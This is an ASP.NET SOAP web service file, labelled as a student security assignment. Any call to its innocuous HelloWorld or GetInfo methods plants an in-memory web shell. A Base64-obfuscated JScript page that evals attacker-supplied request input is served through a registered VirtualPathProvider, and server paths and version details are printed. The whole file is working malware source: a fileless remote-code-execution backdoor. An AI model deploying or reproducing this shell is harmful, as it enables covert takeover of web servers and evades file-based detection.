<%@ WebService Language="C#" Class="dotNetMatrix.Sharp4SoapWebShell" %>
using System;
using System.Web.Services;
using System.Web.Services.Protocols;
using System.Diagnostics;
using System.Text;
using System.IO;
using System.Web.Hosting;

namespace dotNetMatrix
{
    [AttributeUsage(AttributeTargets.Method)]
    public class Sharp4SoapShellAttribute : SoapExtensionAttribute
    {
        private int _priority;
        
        public Sharp4SoapShellAttribute()
        {
            _priority = 1;
            
            // 你的自定义Web Shell内容（Base64编码）
            string webshellContentsBase64 = "PCUgZnVuY3Rpb24gRU5XMzUwdjIoKXt2YXIgR0VQSD0idW5zYSIsWUFDSz0iZmUiLENBOEE9R0VQSCtZQUNLO3JldHVybiBDQThBO312YXIgUEFZOlN0cmluZz1SZXF1ZXN0WyJ4aXNlIl07fmV2YWwvKlpyVUtCWWU5NUEqLyhQQVksRU5XMzUwdjIoKSk7JT48JUBQYWdlIExhbmd1YWdlPUpTJT4=";
            string webshellType = ".aspx";
            string webshellContent = Encoding.UTF8.GetString(Convert.FromBase64String(webshellContentsBase64));
            
            string rootPath = System.Web.HttpContext.Current.Request.CurrentExecutionFilePath.TrimEnd('/').ToLower();
            int index = rootPath.IndexOf(System.Web.HttpContext.Current.Request.ApplicationPath.ToLower());    
            
            if (index >= 0)
                rootPath = rootPath.Remove(index, System.Web.HttpContext.Current.Request.ApplicationPath.Length);
            
            string prefix = "";
            if (rootPath.LastIndexOf("/") > 0)
                prefix = rootPath.Substring(0, rootPath.LastIndexOf("/"));
            
            string targetVirtualPath = prefix + "/dotNetMatrix/";
            targetVirtualPath = targetVirtualPath.Replace("//", "/");

            SamplePathProvider sampleProvider = new SamplePathProvider(targetVirtualPath, webshellContent);
            HostingEnvironment.RegisterVirtualPathProvider(sampleProvider);
            
            System.Web.HttpContext.Current.Response.Write("<pre style='text-align: center;font-weight: Bold;'> SOAP Memory Shell - 网络安全作业 </pre>");
            System.Web.HttpContext.Current.Response.Write("<pre>");
            System.Web.HttpContext.Current.Response.Write("1. Memory Shell Path: " + targetVirtualPath + "ENW350v2.aspx \r\n");
            System.Web.HttpContext.Current.Response.Write("2. WebSite Application Path: " + System.Web.HttpContext.Current.Server.MapPath(System.Web.HttpContext.Current.Request.ApplicationPath) + "\r\n");
            System.Web.HttpContext.Current.Response.Write("3. .NET Framework Version: " + System.Environment.Version + "\r\n");
            System.Web.HttpContext.Current.Response.Write("4. Windows OSVersion: " + System.Environment.OSVersion + "\r\n");
            System.Web.HttpContext.Current.Response.Write("5. Student Assignment - For Educational Purpose Only \r\n");
            System.Web.HttpContext.Current.Response.Write("</pre>");
            System.Web.HttpContext.Current.Response.End();
        }
        
        public override Type ExtensionType
        {
            get { return typeof(object); }
        }
        
        public override int Priority
        {
            get { return _priority; }
            set { _priority = value; }
        }

        public class SamplePathProvider : VirtualPathProvider
        {
            private string _virtualDir;
            private string _fileContent;

            public SamplePathProvider(string virtualDir, string fileContent) : base()
            {
                _virtualDir = "/" + virtualDir.Replace(@"\", "/");
                _virtualDir = _virtualDir.Replace("//", "/").TrimEnd('/');
                _fileContent = fileContent;
            }

            protected override void Initialize()
            { }

            private bool IsPathVirtual(string virtualPath)
            {
                string checkPath = System.Web.VirtualPathUtility.ToAppRelative(virtualPath);
                return checkPath.ToLower().Contains(_virtualDir.ToLower()); 
            }

            public override bool FileExists(string virtualPath)
            {
                if (IsPathVirtual(virtualPath))
                    return true;
                else
                    return Previous.FileExists(virtualPath);
            }

            public override bool DirectoryExists(string virtualDir)
            {
                if (IsPathVirtual(virtualDir))
                    return true;
                else
                    return Previous.DirectoryExists(virtualDir);
            }

            public override VirtualFile GetFile(string virtualPath)
            {
                if (IsPathVirtual(virtualPath))
                    return new SampleVirtualFile(virtualPath, _fileContent);
                else
                    return Previous.GetFile(virtualPath);
            }

            public override VirtualDirectory GetDirectory(string virtualDir)
            {
                if (IsPathVirtual(virtualDir))
                    return new SampleVirtualDirectory(virtualDir);
                else
                    return Previous.GetDirectory(virtualDir);
            }

            public override System.Web.Caching.CacheDependency GetCacheDependency(
                string virtualPath,
                System.Collections.IEnumerable virtualPathDependencies,
                DateTime utcStart)
            {
                if (IsPathVirtual(virtualPath))
                    return new System.Web.Caching.CacheDependency(@"c:\");
                else
                    return Previous.GetCacheDependency(virtualPath, virtualPathDependencies, utcStart);
            }
        }

        public class SampleVirtualFile : VirtualFile
        {
            private string _fileContent;

            public SampleVirtualFile(string virtualPath, string fileContent) : base(virtualPath)
            {
                _fileContent = fileContent;
            }

            public override Stream Open()
            {
                Stream stream = new MemoryStream(Encoding.UTF8.GetBytes(_fileContent));
                return stream;
            }
        }

        public class SampleVirtualDirectory : VirtualDirectory
        {
            public SampleVirtualDirectory(string virtualDir) : base(virtualDir)
            {
                string path = virtualDir;
                if (System.Web.HttpContext.Current.Request.ApplicationPath != "/")
                {
                    int index = virtualDir.IndexOf(System.Web.HttpContext.Current.Request.ApplicationPath.ToLower());
                    if (index >= 0)
                        path = virtualDir.Remove(index, System.Web.HttpContext.Current.Request.ApplicationPath.Length);
                }

                path = path.TrimEnd('/');

                if (!string.IsNullOrEmpty(path))
                {
                    children.Add(this);
                    directories.Add(this);

                    SampleVirtualFile svf = new SampleVirtualFile(path + "/ENW350v2.aspx", "");
                    children.Add(svf);
                    files.Add(svf);
                }
            }

            private System.Collections.ArrayList children = new System.Collections.ArrayList();
            public override System.Collections.IEnumerable Children
            {
                get { return children; }
            }

            private System.Collections.ArrayList directories = new System.Collections.ArrayList();
            public override System.Collections.IEnumerable Directories
            {
                get { return directories; }
            }

            private System.Collections.ArrayList files = new System.Collections.ArrayList();
            public override System.Collections.IEnumerable Files
            {
                get { return files; }
            }
        }
    }

    [WebService(Namespace = "http://tempuri.org/")]
    [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
    [System.ComponentModel.ToolboxItem(false)]
    public class Sharp4SoapWebShell : System.Web.Services.WebService
    {
        [WebMethod]
        [Sharp4SoapShell(Priority = 1)]
        public string HelloWorld()
        {
            return "Hello World";
        }
        
        [WebMethod]
        [Sharp4SoapShell(Priority = 1)]
        public string GetInfo()
        {
            return "SOAP Web Service - Educational Purpose Only";
        }
    }
}